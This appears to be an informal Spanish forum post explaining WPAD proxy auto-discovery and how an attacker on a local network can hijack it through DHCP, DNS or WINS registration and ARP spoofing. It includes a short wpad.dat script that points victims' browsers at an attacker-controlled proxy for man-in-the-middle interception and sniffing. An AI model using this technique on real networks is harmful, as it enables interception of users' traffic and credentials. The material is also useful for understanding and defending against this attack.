Bueno a ver

WPAD (Web Proxy Automatic Discovery) es un protocolo por el cual se puede configurar we proxies automaticamente sin unsar tecnicas de intercepcion de trafico tipo transparent proxies y sin tener que configurar manualmente los web browsers de la Red uno por uno.
Cabe decir que Microsoft es el que ha implementado este protolo. Una de las maneras de propagar la autoconfiguracion en Redes Microsoft es via Domain Group Policy, dejandose de lado WPAD.
Bien pues WPAD puede configurarse via DHCP, DNS, WINS ... si desde estos serviores, tras la apropiada requesta por parte del navegador, se le da una URL tipo:
http://IP:80/wpad.datIE usa la configuracion con WPAD por defecto via DHCP, y si no hay resultados via DHCP se usa DNS. Firefox solo soporta (creo) DNS. Con DNS lo que ocurre es que por ejemplo, si el nombre de dominio de la Red es mydomain.plushack.com entonces WPAD via DNS buscaria un dominio WPAD en la Red en este orden:
WPAD.mydomain.plushack.com
WPAD.plushack.com
Si el Admin de la Red no ha logrado implementar corectamente WPAD.mydomain.plushack.com y tu como atacante te registras via DHCP->DNS como ese subdomain, entonces vas a ownear a a toda la Red.
Cabe decir que los navegadores IE tienen habilitada (si no hay Group Policy de por medio ) la opcion de detectar automaticamente la configuracion del proxy, y es esto lo que hace falta en orden para activar WPAD. Asimismo una Red implementando WPAD debe de configurar BIEN la Red para no caer en trampas de atacantes. Si no se implementa WPAD ni ninguna otra tecnica de proxy autoconfiguration y se usa IE por defecto (con la opcion detectar proxy automaticamente), entonces se puede jugar a despecho con WPAD.
Si tu como atacante pones (para DNS confi) un web server en tu ya registrado WPAD.mydomain.plushack.com con un fichero (es javascript) en el root path tal:
WPAD.mydomain.plushack.com/wpad.dat
y dentro de ese script configuras tu IP como el proxy a usar, pues imagina la de ataques MiTM que puedes hacer asi como passive sniffing por ejemplo.
ese archivo wpad.dat podria contener simplemente algo asi:
function FindProxyForUrl(url, host)
{
return “PROXY WPAD.mydomain.plushack.com:80; DIRECT”;
}
asi diciendoles a los web browsers que el proxy a usar esta en WPAD.mydomain.plushack.com:80 y que si hay algun problema que conectend directamente a Inet.
Volviendo al tema de DHCP y DNS, cabe decir que DHCP es un protocolo que usa broadcast, y DNS es unicast. Esto es, para spoofear una respuesta DHCP lo tenemos facil en cualquier tipo de Red, pero con DNS en una Red Switcheada podriamos tener que usar ARP Spoofing por ejemplo en orden para responder a la peticion DNS hecha por el browser.
Con DHCP y WPAD el navegador manda una peticion DHCP:
DHCPINFORM Option 252
entonces el DHCP Server mandara la URL (WPAD.mydomain.plushack.com/wpad.dat)
Con WINS la cosa es mas apasionante. Sabemos que WINS es practicamente un Servidor DNS pero para nombres de DOminio NT. WINS usa unicast y por ende puede atravesar routers. Asimismo muchas Redes usan un solo Servidor WINS para toda la Red, todos los segmentos. Pues si logras registrarte en ese Servidor WINS, en el contexto de WPAD o mal registrado o usado, podras actuar como proxy para todos los nodos de la Red.
Basicamente es esto, ya pues despues todos los ataques MiTM aplican ya sean SSL v2 downgrades attacks (si son soportados, IE7 no soporta SSLv2..) y demas.
Saludos.